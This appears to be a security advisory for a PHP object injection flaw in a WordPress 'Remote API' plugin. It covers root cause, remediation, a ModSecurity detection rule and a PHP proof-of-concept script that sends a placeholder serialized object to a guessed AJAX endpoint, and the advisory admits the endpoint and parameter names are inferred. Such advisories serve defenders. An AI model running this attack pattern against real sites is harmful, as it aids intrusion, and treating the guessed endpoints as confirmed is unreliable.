Atomic Edge analysis of CVE-2026-14602 (metadata-based):
This vulnerability is an unauthenticated PHP Object Injection flaw in the Remote API plugin for WordPress, affecting versions up to and including 0.2. The plugin fails to safely handle untrusted serialized data, allowing remote attackers to inject arbitrary PHP objects. The CVSS score is 8.1 (High) with a vector of AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, indicating that while the attack requires some complexity, it does not require authentication or user interaction and can lead to full compromise of confidentiality, integrity, and availability.
Root Cause: The root cause is confirmed by the CWE classification (CWE-502 Deserialization of Untrusted Data) and the vulnerability description. The plugin likely accepts serialized PHP data from user input and passes it directly to an insecure deserialization function such as unserialize() without sanitization or validation. Since no code diff is available, the exact deserialization point is inferred based on the plugin slug and the CWE. This is a classic weakness where corrupted object instantiation can trigger magic methods like __wakeup() or __destruct() in any unrelated classes loaded on the target system.
Exploitation: An attacker can send an HTTP request that includes a crafted serialized PHP object in a parameter processed by the plugin’s remote API handler. The exact parameter and endpoint are not confirmed from metadata, but common WordPress patterns suggest a request to /wp-admin/admin-ajax.php with an action parameter matching the plugin’s hook, or a REST API endpoint under /wp-json/remote-api/v1/. The serialized payload may be delivered via POST data, query string, or a JSON body, depending on the plugin’s implementation. Because the attack is unauthenticated, no nonce or capability checks are required, making the attack vector easily accessible from the internet.
Remediation: The only complete fix is to replace the insecure unserialize() call with a safe alternative, such as json_decode() or a manually validated data structure. If deserialization is essential, implement an allowed-class whitelist via PHP’s unserialize() second parameter (allowed_classes => false) and validate all data before use. Additionally, the plugin should enforce capability and nonce checks on any endpoint that processes untrusted data. Users should update to a patched version if one becomes available, but as no patched version exists, the plugin should be removed and replaced with a maintained alternative.
Impact: Successful exploitation can allow attackers to delete arbitrary files, read sensitive data, or execute arbitrary code, but only if the injected object leads to a usable POP chain present in another plugin, theme, or the WordPress core itself. Even without a POP chain, the vulnerability can trigger unexpected object behavior that may cause denial of service or other integrity violations. Given the high CVSS impact ratings for confidentiality, integrity, and availability, this vulnerability poses a critical risk for affected sites, particularly those running additional plugins that contain POP chains.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-14602 (metadata-based)
# The attack vector is an unauthenticated PHP object injection via deserialization.
# Since the exact endpoint is unconfirmed, this rule targets the most likely AJAX action pattern.
# The rule blocks requests to admin-ajax.php with an action containing 'remote_api' and a data parameter that looks like a serialized PHP object.
# This is a conservative rule; adjust based on actual plugin code if known.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202614602,phase:2,deny,status:403,chain,msg:'CVE-2026-14602 via Remote API PHP Object Injection',severity:'CRITICAL',tag:'CVE-2026-14602'"
SecRule ARGS_POST:action "@rx ^remote_api" "chain"
SecRule ARGS_POST:data "@rx O:[0-9]+:.*" "t:urlDecode, t:base64Decode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-14602 - Remote API <= 0.2 - Unauthenticated PHP Object Injection
// This proof-of-concept is based on the CWE-502 classification and public vulnerability description.
// The exact vulnerable endpoint and parameter name are not confirmed from source code.
// It demonstrates the attack pattern using likely candidates for the Remote API plugin.
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change to target WordPress installation
// Craft a malicious serialized PHP object.
// The class name and properties are placeholders; an attacker would use a real POP chain class.
// The 'O:8:"stdClass":1:{s:4:"evil";s:4:"data";}' payload is a generic example.
$payload = 'O:8:"stdClass":1:{s:4:"evil";s:4:"data";}';
// Initialize cURL session
$ch = curl_init();
// Set the target URL and include the action parameter (common for WordPress AJAX handlers)
// The action name is guessed based on the plugin slug; adjust to match the actual plugin.
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'remote_api_deserialize',
'data' => $payload
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded'
],
CURLOPT_TIMEOUT => 10,
]);
// Execute the request and capture the response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if ($response === false) {
echo "cURL error: " . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response Body: $responsen";
}
// Close the cURL session
curl_close($ch);
